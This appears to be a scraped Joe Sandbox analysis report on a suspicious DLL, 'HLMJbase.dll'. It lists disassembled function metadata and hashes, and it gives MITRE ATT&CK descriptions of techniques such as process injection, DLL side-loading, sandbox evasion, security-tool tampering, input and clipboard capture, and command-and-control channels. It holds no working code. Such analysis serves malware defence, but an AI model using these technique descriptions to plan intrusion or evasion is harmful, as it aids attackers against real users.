Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 70bb0f79e39f579514864e8d5dc0cae8624bcbb7799a7c65222dc1aafb4f6483
Instruction ID: b08dd148a706eba5efe5e1bcaf675735ee630c2efea765fd6989e11ab2e9ba4b
Opcode Fuzzy Hash: 70bb0f79e39f579514864e8d5dc0cae8624bcbb7799a7c65222dc1aafb4f6483
Instruction Fuzzy Hash: 533152719042448BDB42CF19C4C0AE977A9EF59348F0944B9EC5C9F746EB747A0A8FA1

Function 6CC28F2D Relevance: 5.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000388), ref: 6CC28F5E
memmove.VCRUNTIME140(?,?,00000388), ref: 6CC28FB3
memmove.VCRUNTIME140(?,?,00000388), ref: 6CC28FE4
memmove.VCRUNTIME140(?,?,00000388), ref: 6CC29012

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 90e97dfead12e17bd72831e8a9a9794cac9df5bfdb69273644dbc56d6a3a8d9d
Instruction ID: 440287b9177f32ea99b94a7cf727df4c7ef7cc6055d50aef81da6c71f813512d
Opcode Fuzzy Hash: 90e97dfead12e17bd72831e8a9a9794cac9df5bfdb69273644dbc56d6a3a8d9d
Instruction Fuzzy Hash: A8315E719087049BC762CB39C480AD7B7E9EF99348F00485DE4AE87740EB79BA098F91

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HLMJbase.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Exports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
HLMJbase.dll

Function 04DB53C0 Relevance: 93.2, APIs: 40, Strings: 13, Instructions: 440
stringnetworklibraryCOMMON

Function 04DBDE70 Relevance: 61.6, APIs: 24, Strings: 11, Instructions: 354
sleepregistrysynchronizationCOMMON

Function 04DBBBF0 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 351
windowCOMMON

Function 04DB6A00 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 141
memoryCOMMON

Function 04205E40 Relevance: 52.7, APIs: 5, Strings: 25, Instructions: 186
registryCOMMON

Function 042054D0 Relevance: 45.8, APIs: 16, Strings: 10, Instructions: 263
registrymemorysleepCOMMON

Function 6CC194A2 Relevance: 42.8, APIs: 23, Strings: 1, Instructions: 842
COMMON

Function 04DB9DB0 Relevance: 33.6, APIs: 18, Strings: 1, Instructions: 312
windowCOMMON

Function 04DB2DA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Function 04202D80 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 203
networkstringtimeCOMMON

Function 04DBACA0 Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 347
registryCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre